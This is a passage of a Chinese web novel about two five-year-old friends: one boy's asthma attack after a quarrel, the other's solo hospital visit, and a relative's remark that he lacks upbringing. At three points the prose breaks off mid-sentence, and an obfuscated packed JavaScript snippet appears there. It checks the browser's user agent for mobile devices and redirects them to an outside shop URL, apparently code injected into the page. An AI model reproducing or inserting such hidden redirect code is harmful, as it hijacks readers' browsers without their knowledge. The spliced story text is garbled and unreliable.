只是徐知星跟个泥鳅一样,抱在身上滑来滑去,一溜烟就没了。 徐家夫妻观察了下,路西鸣他爸妈也不管他,保姆也不怎么负责。问了下路西鸣有没有忌口,也就随徐知星去了,想给就给吧。 “妈妈去楼下王奶奶家,你和西鸣在家里乖乖的,雪糕只能一人吃一个,吃多了拉肚子,等会妈妈就回来了。”这天恰逢周末,林芳休息出门前特意对徐知星交代说。 徐知星点点头,“妈妈拜拜。” 林芳刚一关门,还在海绵垫上玩的徐知星就迫不及待地扑到路西鸣身上:“我们去吃雪糕吧。” 路西鸣抱着徐知星闷哼一声,徐知星拉开两人的距离,“怎么了?” “我是不是撞疼你了?”徐知星脸上带着歉意,撸起路西鸣的袖子,只见胳膊上分散着零散几个淤青。 “不是你撞的。”路西鸣拉下袖子,徐知星却不允许,“怎么青了啊?你疼不疼?” 路西鸣犹豫了下,还是诚实地点点头,“疼。” “怎么回事呀?为什么会青?”徐知星小脸鼓起,给路西鸣吹了吹,“呼呼毛,痛不着。” “保姆掐的。” 徐知星听后眉毛皱到一起,“坏人!” “我们报警找警察叔叔,把她抓起来。” 路西鸣摇摇头,“算了,没人会管我的。” “不是啊,妈妈说的,有事要去找警察叔叔。”徐知星记得很清楚,“警察叔叔就是用来抓坏人的。” 路西鸣摇摇头,“不会有人管我的。” 徐知星再怎么说,路西鸣也不愿意,他不相信其他人,他们都不喜欢自己。只有徐知星在乎他。 他摸了摸徐知星脸说:“过几天就不疼了。” “真的?” “真的。” “好吧。”徐知星只好放弃找警察叔叔的打算,“那我们吃小布丁吧,吃了就不痛了。” “好。” 徐知星打开冰箱门,小手在雪糕里面扒拉,“我还想吃火炬。” 徐知星左手一个小布丁,右手一个“火炬”,陷入难以抉择的纠结。 “只能吃一个。”路西鸣想起林芳临走前的嘱咐,重复一遍,“雪糕一人只能吃一个。” 徐知星蹲在冰箱面前想想说:“那我们一人一个,等会我们交换好不好?我想吃小布丁,又想吃火炬。” 路西鸣嗯了一声,听从徐知星的安排。 徐知星拿出一个小布丁,将外包装贴在脸上,享受地说:“好凉快啊,路西鸣。”说话的同时还要把布丁贴在路西鸣脸上。 “脏,不要贴。”路西鸣往后退了两步。 “不脏,我不脏。”徐知星嘴角下垂,因为被说脏,一副很受伤的样子。 路西鸣坚持说:“就是脏。” 徐知星撤回了手,默默撕开包装袋吃着雪糕,小声道:“我不脏。” “包装脏,不要贴脸上。”路西鸣见徐知星怏怏的样子,沉默几秒主动解释,“我不是嫌你脏,是包装脏,贴在脸上会生病。” “不脏,放冰箱里了。” 徐知星平时虽然大大咧咧的,但当下也确实感受到了路西鸣的“嫌弃”,声音越发低沉。 “冰箱里也脏,有细菌。” “什么是细菌?”徐知星握着小布丁,茫然地问。 “脏东西。” “我不是脏东西。”徐知星不想和路西鸣说话了,自己跑到一边去玩,期间还不小心把小布丁的奶油蹭到嘴上。 路西鸣想要拿出一张餐巾纸擦擦他的嘴角,徐知星执拗地把头转到一边,用手蹭了蹭脸颊,“不擦,还没吃完。” 本来只有嘴角有一块奶油,现在一蹭,眉毛上,眼睛下都是一片白糊糊的奶油,看得路西鸣只皱眉。 “脸上脏了。”路西鸣伸出手指了指徐知星的脸。 “我不脏,你不许说我脏!” 徐知星被路西鸣接二连三地说脏,已经很不高兴了。可是又想到路西鸣是自己的好朋友,又降低音量可怜巴巴地说:“我不脏,你不要总是说我脏。” 路西鸣沉默地捏着纸巾,思忖半天道:“你脸上脏,不是你脏。” “我给你擦干净好不好?” “哼。” “不好!” 徐知星扭头吃着剩下的小布丁,他也不想和路西鸣交换雪糕了,坏蛋路西鸣。 路西鸣不明白哪里惹到徐知星了,只能安静地坐在海绵垫上把两人没搭好的积木排好。 徐知星吃了两口小布丁,见路西鸣在搭积木,也凑过来一起玩。 “路西鸣,我们是不是搭好大桥了?” “还没有。” “好吧,那快点搭。” 这款玩具是徐知星小姨送给他的,一整套乐高玩具,成品是一座高架桥,这座积木零件繁琐复杂,徐知星起初搭了许久都不见成效,后来有了路西鸣帮助才初具雏形。 徐知星握着几个积木搭成桥台的形状,想要放在桥柱上。路西鸣见状说:“不要放在这里。” “为什么不能放在这里?”徐知星嘴唇紧抿,不高兴地问。 “会塌。”路西鸣解释说。 “可是我想放在这里。”徐知星坚持想要放。 路西鸣攥住他的手不让他放,再次重申道:“会塌,下面还没搭好。” 可现在徐知星哪知道这些,他认为路西鸣就是在嫌弃他,嫌弃他脏,还嫌弃他搭不好积木,他左手还拿着小布丁,右手又被路西鸣紧紧攥住,非常不高兴。 “你松开我,路西鸣。”徐知星右手胳膊抬起,努力去挣脱路西鸣的手,没有注意脚下。 在路西鸣的松手的同时被脚下积木绊住,结结实实地海绵垫上摔了一跤,脑袋磕在垫子上传了一声闷响。 徐知星嘴角一撇,连手上的小布丁都顾不上了,眼泪迅速打湿了脸颊,坐在地上嚎啕大哭道:“路西鸣,你是坏蛋!” 路西鸣愣在原地,不知所措地看向徐知星,这还是他第一次看见徐知星哭。 “你不要哭。” “徐知星,你不要哭。” 但此刻这两句聊胜于无的安慰根本无济于事,甚至徐知星的哭声更大了,很快整张脸都哭红了,绯红的脸颊上沾染着大片的泪水,十分可怜。 路西鸣想要抽出纸巾给徐知星擦擦脸,却被他甩手躲了过去,嘴上还含糊不清道:“坏蛋,我不和你玩了。” “你说我脏,还抓我手,坏蛋。” 路西鸣沉默没有说话,徐知星哭得更狠了,都快喘不上气了,甚至嘴唇都有些发紫,甚至到最后连话都说不出来了。 路西鸣敏锐地察觉到不对劲,迅速推开门,快跑地找到在楼下聊天的林芳。 林芳正姿态放松的和街坊闲聊,回头看见面色紧张的路西鸣,还没来得及问怎么了,就听到路西鸣指了指楼上,“徐知星喘不上气了。” 林芳三步并作两步地跑上楼,期间匆忙地问道:“怎么回事啊?” “他磕到了头,一直哭喘不上气了。”路西鸣紧随其后解释说。 林芳慌忙地推开门,手搭在徐知星后脑勺摸了摸,发觉徐知星的状态越来越糟,整个胸腔都在起伏,呼吸一下比一下急促,脸和嘴唇都开始泛紫。 林芳甚至顾不上关门,径直抱着徐知星匆忙下楼。 路西鸣望着空荡荡的房间,手臂垂下,手指蜷缩,身体紧绷,像是做错事一样站在原地。 如果刚才自己没有拦着徐知星,他就不会摔倒,更不会哭,现在也不会去医院。 路西鸣垂下眼,长长的睫毛低垂,棕褐色的的眼睛直直盯着海绵垫上未完成的积木,突然一伸手将眼前即将竣工的大桥推到,七零八落的积木摔了一地。 对和错其实都不重要,徐知星平安高兴最重要。 一直到天色渐黑,路西鸣孤零零地坐在阳台,视线始终停在徐知星家,那里始终一片漆黑,屋内没有任何亮灯。 “吃饭了。”客厅内保姆大嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761660|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门地喊道,路西鸣无动于衷地站在阳台。 喊了几次后,保姆不耐烦地推开门,“快吃饭。” 路西鸣依然没动,对于保姆的话没有任何反应。 保姆见喊不动,直接上手掐着路西鸣胳膊把他往屋里拽。 “别碰我。”路西鸣几乎是仇视的目光看向保姆。 “我碰你怎么了?我天天给你做饭,是让你给我甩脸色的吗?” “我告诉你,你爸妈都不管你,我管你怎么了?” “滚。”路西鸣看向刘保姆,神态是和这个年龄极其不符合的平静,刘保姆愣了下,撸起袖子怒骂说:“你他妈和谁说话呢?没人养的玩意。” “滚!” “老子凭什么滚,你爸妈给我开钱就是为了来教训你的。” 刘保姆还想企图再教育下路西鸣,但是却被他躲开,径直回了房间,任凭她在门口骂爹骂娘也进不去房间。 “好,你有本事一直别出来,饿不死你。” 路西鸣站在自己房间的窗台处,对于外界的辱骂不闻不问,眼睛一直盯着家属院的楼下,眼睛发酸了也不肯睡觉,直到半夜听见徐明军摩托车的轰鸣声。 保姆已经睡下了,路西鸣毫无阻碍地推开门,站在楼梯间。 徐明军面带愁色,在工地接到林芳的电话后马不停蹄地挂到医院,一直忙到现在,徐知星的情况才稳定下来。他才稍微放心,回家取些住院要用的生活用品。 他正盘算着徐知星的病要怎么办,一抬头就看见路西鸣站在楼梯间。 “叔叔。” “西鸣,你怎么在这啊?”徐明军面露惊讶。 “徐知星怎么样了?”路西鸣问。 “在住院。” “为什么住院?” 徐明军推开门,无声叹了口气,“哮喘。” “什么是哮喘?” 徐明军沉默下解释说,“一种病。” “会好吗?” 徐明军抹了把脸,声音低沉说:“会好的。” “是因为我,他才得哮喘的,我们下午吵架了。”路西鸣无法自抑地陷入自责。 徐明军半蹲下身子,扶住路西鸣胳膊问:“西鸣,你跟叔叔说下今天下午怎么回事?” 路西鸣一句不漏地将林芳走后的所有事情复述了一遍。 “我攥住他的手不想让他搭桥,他想甩开我的手,我就松手了,后来他就摔倒磕着头了,一直哭。他说我是坏蛋,不想和我玩了,一直哭。” 路西鸣不知道别人是不是都会像他一样记得所有发生过的事情,可是与他而言,一切发生过的事情都存在脑子里忘都忘不掉。 就像今天徐知星大哭时难受的模样也一直刻在他脑子里挥之不去。 “后来我就去找了林阿姨。” 剩下的事情徐明军都知道了。 “是因为我,他才得哮喘的。”黑夜之中,路西鸣声音一下比一下低沉,语调强忍着哭腔,没有让眼泪掉下来。 路西鸣知道自己不讨人喜欢,好不容易有个喜欢自己的人,还因为他得了哮喘,他自己都讨厌自己了。 他就是全世界最可恶的人,所以他爸爸妈妈都不要他。 徐明军心里固然对下午的事情有些芥蒂,可他作为一个成年人也清楚,徐知星的哮喘并不是下午两个小孩闹下矛盾就有了。 徐知星是遗传性哮喘,而他们夫妻却没有哮喘的问题,医生和他们解释了一堆显性和隐形基因的问题,尽管他们自身没有哮喘,却把这种基因遗传给了徐知星。 而这件危险的事情,他们作为父母之前也并不知道。 直到今天徐知星病发,林芳和徐明军才如遭雷击。 就算没有下午和路西鸣的事情,徐知星的哮喘也会在某个时间突然病发。 无论如何,徐明军也不会把这件事推卸到才五岁的路西鸣身上,可是更多的话他也说不出来了。 “西鸣,星星得哮喘和你没关系。你早点回家吧。” 路西鸣又问,“那徐知星什么时候才能出院?” 徐明军现在都心乱如麻,只想收拾好徐知星的衣服去医院,“我也不知道,你先回去吧。” “那他现在在哪里?” “市医院。” 徐明军忙着收东西,没有再回答路西鸣的问题,路西鸣一步三回头地望着徐明军的背影,脑海里不自觉回忆起徐知星下午的话。 他欺负徐知星了,徐知星以后都不会喜欢他,不会和他玩了。 8. 探望 徐知星一时还不能出院,但病情得到了控制,哮喘只要不发病,就和普通人没有太大的区别。三天后他又变得活蹦乱跳,在病房内止不住闹腾。 “妈妈,你看,我能直接从床上跳下来。” 但林芳现在一看到徐知星上蹦下跳的,心脏也跟着上蹦下跳,没一处安宁。 “星星,不要乱动,躺好。”林芳抱起徐知星把他放在病床上,阻止了他往下蹦的动作。 “为什么不能乱动?”徐知星不理解。 “因为生病了要好好休息。” “可是我休息了好久。”徐知星伸出双臂在空中比划着说,“这么久。” “那你要休息妈妈手伸出来的这么久才可以。”林芳也伸长了双臂给徐知星展示。 徐知星比了比,“妈妈手臂好长。” “以后星星也会有这么长的手臂,而且还会比妈妈还要更长的手臂。”林芳把徐知星抱在怀里,手指擦去眼角的泪水,“星星以后一定要平安长大。” “我要长大,现在就要长大,长又高又大。”徐知星甚至还不知道自己得了无法根治的哮喘,这种病要伴随自己终生,童言无忌地希望自己马上就能长大。 林芳背过身,眼泪更加止不住。 徐知星凑过头,小手擦在林芳脸上,担忧地安慰说:“妈妈不要哭,我马上就长大了。” 林芳紧紧把徐知星抱在怀里,轻声说:“好,星星马上就长大了。” 徐知星想了想说:“那我到时候就是大星星了。” 林芳又因为这句话破涕而笑,“你还大猩猩,你顶多算是个小猴子。” “不是,我现在是小星星,长大了就是大星星。”徐知星脸上极其认真。 林芳慈爱温柔的目光落在徐知星身上,语调轻柔地说:“那小星星要快点好起来。” “好!” 就在这时,病房门口传来护士的声音,“三床徐知星,有人找你。” 徐知星听到自己名字,立刻大声应道:“我在这里!” 待他看清门口的人是谁后,兴高采烈地跑过去,“路西鸣,你是来看我的吗?” 路西鸣在家等了三天也不见徐知星回来,期间他又问过一次徐明军,什么时候徐知星才可以出现。 但这几天徐明军都失魂落魄的,对于这种问题更是不知道如何回答。 其实之前也有徐知星三天不在家的情况,在路西鸣还不知道徐知星喜欢自己的时候。 明明之前也可以接受三天甚至更长时间不见面,但是路西鸣不能忍受了。尤其是两人分开前,徐知星还对他说,以后不和他玩了。 他害徐知星生病住院了,徐知星不喜欢他,不和他玩也很正常。 就像他不乖,所以父母不喜欢他一样。 他生来就是不讨人喜欢的。 尽管如此,可他还是想见见徐知星。 徐知星倒在地上呼吸苦难的样子时不时会重现在他脑海中,他想去看看徐知星有没有康复。 “路西鸣你是不是来看我的啊?”徐知星牵着路西鸣的手,又问了一遍。 林芳也颇为惊讶,“西鸣你怎么过来的?” 护士站的护士惊叹道:“这小孩居然是自己一个人来的?他说他爸妈带他来过医院,所以他就记住路了。” “他到医院后就问我们这的医生,问得了哮喘要在哪里?” 市医院的医生一看这么小的孩子,连忙带他找人。 林芳听完护士的话不由得咂舌,连忙给梁卓打了个电话。 路西鸣被徐知星拉着坐在病床边,一只手上还塞了一个红彤彤的苹果。 “这个苹果是姥姥给我买的,好甜,你也吃。”徐知星在医院憋了好几天,终于见到自己的好朋友了,此刻又有说不完的话。丝毫不记得三天前自己还说不和人家玩了的话。 路西鸣一贯保持沉默,此刻那双棕褐色的眼睛盯着徐知星看,许久后才关心地问:“你的哮喘好了吗?” “好了。”徐知星拍了拍自己,“医生给我治好了。” 听到这话,路西鸣才长舒一口气,“那就好。” “给你。”路西鸣拿出藏在身后的荷花和“二两”鸡腿。 徐知星哇了一声,接过荷花,那是一株在街边买的荷花,绿色的根茎上是粉红色的花瓣,花瓣含苞待放,上面还带着晶莹的水珠。 “好漂亮,香香的。” “你闻。” 只是林芳注意到这一点,紧张地站起将荷花拿起说:“西鸣,星星不能离花太近了。” “为什么?”路西鸣和徐知星异口同声地问。 林芳将花拿远,放到窗户外后才说:“星星生病不能闻花,以后也不可以了。” 徐知星不高兴了,“我想闻。” 林芳耐心地对着徐知星和路西鸣解释说:“星星现在病还没好全,所以不能闻花,以后也要格外小心知道吗?” 徐知星一知半解地消化着妈妈说的话,路西鸣却认真听进去了,和林芳站在统一战线,“现在不能闻,等好了才可以。” “好吧好吧。”徐知星坐在病床上,晃着自己的小短腿,尽管心里不高兴,但还是听话没有闹。 路西鸣见徐知星不太开心的样子,又把手中的鸡腿递给他。 “给你吃。” 徐知星这才注意到路西鸣手上还拿到的有二两鸡腿,张开嘴哇了一声。 “还是热的!” 路西鸣点点头,“我刚买的,你吃。” 林芳这时也关心起路西鸣,“西鸣,你哪里来的荷花和鸡腿?” “路边买的。” “你哪来的钱?” “我爸走之前给我的。” “你自己坐公交来的?”林芳想起刚才和梁卓的那一通电话。 “嗯。” “坐哪一路公交啊?” 路西鸣回答道:“纺织厂家属楼门口坐512路公交到市人民医院下车。” 这个路线完全正确。 “你自己之前来过医院吗?”林芳面色凝重地问,眼神带着几分不解的困惑。 “妈妈带我来过。” “什么时候?” “四岁。” “那天是因为什么来的医院?” “发烧了。” 林芳又追问了一些细节,面色变得越来越凝重,直到现在她终于相信了梁卓电话口中说路西鸣是个怪胎的事情了。 路西鸣能清晰地记得每天发生的任何事情,事无巨细,过目不忘。 至于他最早的记忆是哪一天,谁都不知道,路西鸣也不告诉他们。 相比较林芳的担忧,徐知星则丝毫不在意这一点,一边和路西鸣分享鸡腿,一边拉着路西鸣不断说着在医院的各种事情。 “护士姐姐说我血管不好找,就给我扎脚,你看我的脚都肿了。” 路西鸣顺着徐知星手指的方向望去,那里果然紫青地肿了一大片。 “疼吗?” “当然疼啊,针扎在肉上都出血了。”徐知星用手指模拟着针管,往路西鸣胳膊上戳了戳,“就这样扎你。” “你疼不疼?” “不疼。”路西鸣摇摇头,用手指扎人怎么会痛。 徐知星嘴巴微张,“你不怕吗?” “你用手指戳我,我当然不会痛。”路西鸣回答说。 林芳嘴角露出一点笑意,心中暗想道:小孩就是小孩,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你还说我脏!” 这一下又勾起了徐知星久远的记忆。 路西鸣见徐知星突然蹙起的眉头,不仅懊恼为什么自己记忆那么好,早知道他也忘了,这样他和徐知星都能忘掉这段糟糕的回忆了。 但可惜他不仅没忘,他还让徐知星也想起来了。 “那你还是有点坏,但还不算坏蛋。”徐知星斟酌道。 “有什么区别吗?” 徐知星一板一眼说:“有点坏就是还不到坏蛋的程度,如果你再说我脏,你就更坏一点了,如果你一直坏,那你就是大坏蛋。” “可是你今天来看我了,还给我带了鸡腿和花花,那你就不算坏蛋。” “你现在还属于一个好蛋,不算太坏。” 针对好蛋和坏蛋的研究,徐知星颇有一番心得,现在路西鸣还不能算坏蛋。 路西鸣听到这一番论述,心中稍微放心,“徐知星,对不起,我那天不该说你,我会努力让自己一直都是个好蛋的。” “好。”徐知星伸出小拇指想要拉钩。 “那你以后还会继续喜欢我,继续和我玩对吗?”路西鸣的小拇指勾着徐知星的小拇指,重复确认道。 “对啊。”徐知星点点头,“你是我的好朋友啊,我会一直喜欢你和你玩的。” 路西鸣心又终于回到了自己的肚子里,暗暗保证说:“徐知星,我以后都不会欺负你了,也不会惹你哭了。” “好!” “路西鸣,你是个大好蛋!” 9. 病房 两小孩说话时,病房内走进一个穿红戴绿的女人,身后还跟着一个敦实的小胖男孩。 徐知星小声地凑到路西鸣耳边说:“他就是果果哥。” 路西鸣眸光看向徐果,不发一言。 林芳提醒说:“星星,大伯母来看你了,叫人啊。” 徐知星乖巧地喊了声,“大伯母。” 林芳又说:“还有果果哥呢。” “果果哥。” 江琴将买来的牛奶苹果放在桌上,嘴角向上,似担忧非担忧地说:“怎么就得了这个病了啊?” “你和老二都没这个病。” 林芳回呛一句说:“老妈有这个病呗,遗传给他爹,又传给徐知星了。” 江琴撇了撇嘴,“这怎么还怪到老人头上去了啊?” “遗传性的,我家没这个病,不就徐明军他妈有嘛。”林芳这几天为了徐知星哮喘的事伤透了心,不免对徐明军都多了几分间隙,要不是他,要不是他妈,徐知星也不会得哮喘。 如今看到徐家的这些亲戚更是烦透了。 江琴说不过林芳,没她有文化,也没她漂亮,这些年总是被她压一头,如今徐知星生了个病,她本想过来笑话一番的,只是刚说一句就被呛了回去。 江琴还想说些什么,张张嘴又忍了回去,心下一想,反正他儿子摊上这个病,以后还怎么在她面前厉害。此刻面上又端起笑容,注意到另一边的路西鸣。 “这谁家小孩啊?” “梁卓和路建峰的。” “哦,就住你家对面的那对?”江琴打听道,顺手从徐知星病床柜上拿出个苹果递给路西鸣,“来,吃苹果。” 路西鸣接过苹果没有吭声,反倒是旁边的徐果坐不住了,伸出手喊道:“我也要吃。” 江琴嫌弃地说:“什么都要吃,你长了几张嘴啊?” 话虽如此,但也还是从那兜苹果里挑了个最大的递给自己儿子,徐果一手拿着苹果还不满足,又瞄上了徐知星手中的饼干。 “我还想吃饼干。” “就知道吃吃吃。”江琴大声训斥道。 林芳拿起几块饼干放到徐果手中,“孩子想吃就让他吃呗,你声音小点,这其他病人都在休息呢。” 江琴拍了拍徐果的背,“还不谢谢婶婶。” 徐果一手啃着苹果,一手握着饼干,囫囵不清地说:“谢谢婶婶。” 林芳用手顺了顺徐知星头发,她心里门清江琴这次过来是看她笑话的,可就算徐知星得了哮喘,也比徐果强一万倍。 林芳不说话,江琴也不知道说些什么,只得把目光投向另一边的路西鸣,朝林芳打听说:“这小孩叫什么啊?” 徐知星抢答说:“他叫路西鸣。” “怎么就你一个人在这啊?你爸爸妈妈呢?”江琴继续问道。 徐知星摸了摸脑瓜,不知道该怎么回答这个问题。 路西鸣也没说话,林芳解围说:“他妈等会就来。” “哦。”江琴又拉着林芳唠了会家常,徐果则在旁边不断地吃吃吃,徐知星吃东西慢,徐果吃了三四个饼干,徐知星才吃一个,期间还要不断和路西鸣说话。 “路西鸣你吃这个饼干,甜甜的。”徐知星撕开一袋新饼干,递到路西鸣嘴边,期待地看着他吃了一小口。 还没等路西鸣咽下去,徐知星就迫不及待地问:“是不是很好吃?” 路西鸣咽下去后回答说:“好吃。” 得到了路西鸣肯定的答复,徐知星比自己吃还要高兴,咧开嘴笑道:“就是很好吃,我特意给你留的。” “还有巧克力口味的,这个是核桃味的,我去给你拿巧克力味的。”徐知星坐在病床上,离床头柜有些距离,他正低着头找自己的鞋,想要穿上鞋去给路西鸣拿饼干。 “路西鸣,我鞋找不到了。” 路西鸣也跟着低头在床底下找鞋。 在一旁的徐果听到两人的话,径直就从零食袋里拿出剩下的巧克力饼干装到自己兜里。 等徐知星穿好鞋时,走到柜子上一看,里面已经空空如也了。 “明明还有的。”徐知星挠了挠头,困惑地看着袋子,而徐果大咧咧地撕开包装,大口地咬着饼干。 徐知星皱着眉,不高兴地说:“果果哥,你为什么把我的饼干都吃了?” “我就要吃,你生病了不能吃。” 路西鸣也注意到了徐果鼓鼓囊囊的口袋,里面装得都是徐知星的零食。 他二话不说,直接走到徐果身边,从他口袋里把零食拿出来塞到徐知星手上。 徐果甚至还没意识到发生了什么,口袋里的饼干已经一扫而空了,想要伸手去从徐知星手里抢,结果却踉跄一下摔了个屁股敦。 这下不得了了。 徐果尖锐的哭闹声响彻了这个病房,“你们推我!” 徐知星当机立断道:“你自己摔的,我们都没有碰你。” 路西鸣和徐知星确实没有碰徐果,他纯粹是自己左脚拌右脚摔得。 江琴立刻护犊子地扶起徐果,指责说:“你们没碰,他难道还是自己摔得吗?” 一向寡言的路西鸣难得开口,一针见血道:“他想去抢徐知星的零食,没站稳自己摔了。” “那是我的,你们从我口袋里偷得。”徐果大声控诉,那哀嚎声不知道是哪家水壶开了。 “那本来就是徐知星的,你一直吃他零食,还抢过他娃哈哈。”路西鸣的好记性在此刻发挥了作用,“你之前还把他脸抓伤了。” 这一下让江琴脸上挂不住,怒目圆睁,瞪着路西鸣不松。 林芳见徐果这哭了半天,也是干打雷不下雨,况且平时徐果也没少欺负徐知星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761662|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此刻睁一只眼闭一只眼道:“小孩没站稳摔了下,你一个大人在这和小孩子吵架,怪害臊的。” “我害臊?”江琴嗓门也一下提高。 林芳不好意思地看向病房里的其他病友,“你把徐果带出去,出去说,别在这打扰别人。” “谁家孩子哭了也不知道哄一哄,是来看望病人还是给人添堵的?”不知道哪床的一位大姐仗义执言道。 江琴只好心不甘情不愿地把徐果带出去。 徐知星见徐果走了,高兴地耶了一声,把刚才路西鸣递给他的饼干又塞到路西鸣的口袋中,“都给你吃。” “你吃,吃了快点好起来。”路西鸣摸了摸徐知星的脸,软软的,“瘦了。” “真的吗?”徐知星也把手贴近自己的脸摸了摸,又靠近路西鸣,小心翼翼摸了下他的脸颊两侧。 “我还是有肉肉。”徐知星比较说。 “没有之前多。” 徐知星手贴在自己脸颊两侧,挤成一团说:“肉肉多了胖。” 路西鸣一点都不觉得徐知星胖,他觉得徐知星全天下最可爱,“胖也没事。” “可是妈妈说了太胖对身体不好。” 路西鸣思索了下,“那不能太胖,对身体不好。” “对。妈妈说果果哥就太胖了,以后容易长不高。” “他比我大一岁,结果和我差不多高。”徐知星伸出手掌比了比两人的高度,路西鸣比他要高一点,“路西鸣你和果果哥谁高啊?” “不知道,我没有比较。”路西鸣没有注意这一点。 “那我们去看看果果哥还在不在,我们比一下好不好?”徐知星突发奇想,想要跑出病房门看看。 这时旁边的大姐提醒说:“小朋友不要乱跑哦。” 徐知星闻言坐在病床上没有乱动,但又想知道路西鸣和果果哥到底谁更高,于是想了下凑近路西鸣耳朵小声道:“路西鸣。” 每次徐知星有什么小算盘时,就会双手放在自己嘴边,贴在路西鸣耳朵旁小声密谋。 路西鸣一察觉到耳朵痒痒的就知道徐知星又要和他商量什么了。 “怎么了?”路西鸣扭头问道,两人靠得很近,鼻子都要贴在一起了,近距离看着徐知星白白软软的脸蛋,没忍住又伸出手戳了下,在脸上戳了个“小坑”。 徐知星也不反抗,就任由路西鸣戳自己脸,密谋说:“你去门口看看果果哥还在不在?” “然后你比较下你们谁高好不好?” 路西鸣戳了好几下徐知星脸作为报酬,答应了这个要求。 病房外江琴还没走,拉着徐果有一肚子不服气,但是她又不敢招惹林芳,林芳的脾气她是见识过的。只好把矛头都针对了路西鸣。 路西鸣刚走到门口,就听到江琴抱怨说:“路西鸣那个小孩真没有教养。” 10. 教养 路西鸣躲在门后没有吭声,继续听着门口的话。 林芳反问的声音响起,“人家小孩怎么没有教养了?” “我刚才给他东西,他都不知道说下谢谢,还有刚才不经过果果的允许,直接就拿果果兜里的东西,不就是没有教养吗?” 林芳懒得和江琴说这些,“你别天天在这说人家这不好那不好,以后人家家长也这样说你果果,我看你还笑不笑得出来。” “我家果果跟他又不一样,路西鸣这样的孩子就是有爹妈生,没爹妈养,你让他天天和星星玩,到时候不一定把星星带成什么样……” 江琴说到后面声音越来越小,林芳的声音也渐渐消失,“我们别在这说,你跟我去楼下。” 路西鸣僵在原地,身体内仿佛多了一团沉重的泥土,严严实实地压住了他的心跳,让他无所适从。 尽管江琴已经走远了,可是刚才的话却在他耳边挥之不去。 他就是没有教养,他没有父母教,也不知道别人递给东西后要说谢谢。 可是那个苹果也不是他主动要的,是江琴主动递给他的。 如果他知道接了这个苹果就要说谢谢,那他肯定不会接。 徐知星给过他许多东西,可是从来就没要求他说过谢谢。 如果是他主动要的,他可以说谢谢,可他明明没有要,那他为什么要说谢谢。 路西鸣不明白,难道就因为他没说谢谢就要被指责没有教养吗? 况且那些饼干本来就是徐知星的,他只不过是物归原主而已。而且徐果拿走那些饼干也没有和徐知星说谢谢,这样推论下来,徐果也没有教养。 有人教也没有教养。 大人没有听到小孩说谢谢,就在背后说小孩坏话更没有教养。 路西鸣脑子飞速运转,最后得出一个结论,如果他没有教养,那徐果和江琴更没有教养。 只是他又想到刚才江琴的最后一句话,他没有教养,但是星星有教养,星星妈妈也有教养。 如果自己没有教养,星星妈妈是不是就不会让星星和他一起玩了? 路西鸣陷入短暂的纠结,他不理解为什么大人可以随意批判一个五岁小孩有没有教养,可是他又担心星星妈妈真的信了江琴的话,不让星星和他玩了。 “路西鸣,你有看到果果哥吗?”就在路西鸣陷入思考时,徐知星突然凑过来拍了拍他的肩膀,透着门缝往外看看,并没有看到徐果的影子。 “果果哥走了啊。”徐知星遗憾说,“我们还没比较谁更高呢?” 路西鸣还在想江琴的话,思绪发愁,徐知星因为他也在遗憾没有比较到身高,牵着他的手说:“算啦算啦,我们下次再比较。” “等下次果果哥来的时候,我们再比较下谁更高。” “不过我觉得你更高哦。”徐知星嘴角洋溢着微笑。 病房内的奶奶见到徐知星离开病床了,连忙拦住说:“小朋友不要乱跑哦,等会你妈妈就上来了。” 徐知星乖巧地回答说:“奶奶,我没有乱跑,我只是去找我的朋友了。” “好啊,真乖,过来,奶奶这里有饼干。” 这是间多人病房,一共住了四个病人,除了徐知星外,还有两位病人,都是患有哮喘的小孩,有不少大人陪在身边。 徐知星是其中年龄最小,也是最受欢迎的,他嘴甜,见到谁都能聊两句,可爱又懂事。 此刻病床对面的那位陪着孙子的奶奶,拿了一大把饼干塞在徐知星手里,“拿着吧,乖乖。” 徐知星双手接过饼干,嘴上还不忘道谢;“谢谢奶奶。” 白发苍苍的老妇人也朝路西鸣招招手,“这个小朋友也过来。” 路西鸣犹豫了下,还是走过去接过了饼干,沉默时想起江琴的话,他如果没有教养就不能和星星一起玩了。 于是学着徐知星的样子,双手接过饼干,重复道:“谢谢奶奶。” 老妇人摸了摸徐知星和路西鸣的脑袋,“两个小乖乖。” 路西鸣和徐知星接过饼干,趴在床边,数着饼干的数量。 “这是几个啊,路西鸣?”徐知星数不太清楚,总是要让路西鸣帮忙。 “八个。” “哦。”徐知星晃着腿,又仔细数了一遍,脸颊的两侧肉一颤一颤,看着特别可爱。 路西鸣手捏着徐知星的脸问:“徐知星。” “怎么了?” “你给我东西,我没有和你说谢谢,你会不高兴吗?” “啊?”徐知星茫然地看向路西鸣,“为什么要不高兴?” “我给你是我愿意,你说不说谢谢又有什么关系呢?” 徐知星挠挠头,刚才饼干数到几都忘了。 路西鸣凑过来靠近徐知星说:“那我们就是不需要说谢谢的关系,我以后给你什么,你也不需要和我说谢谢。” “好。” 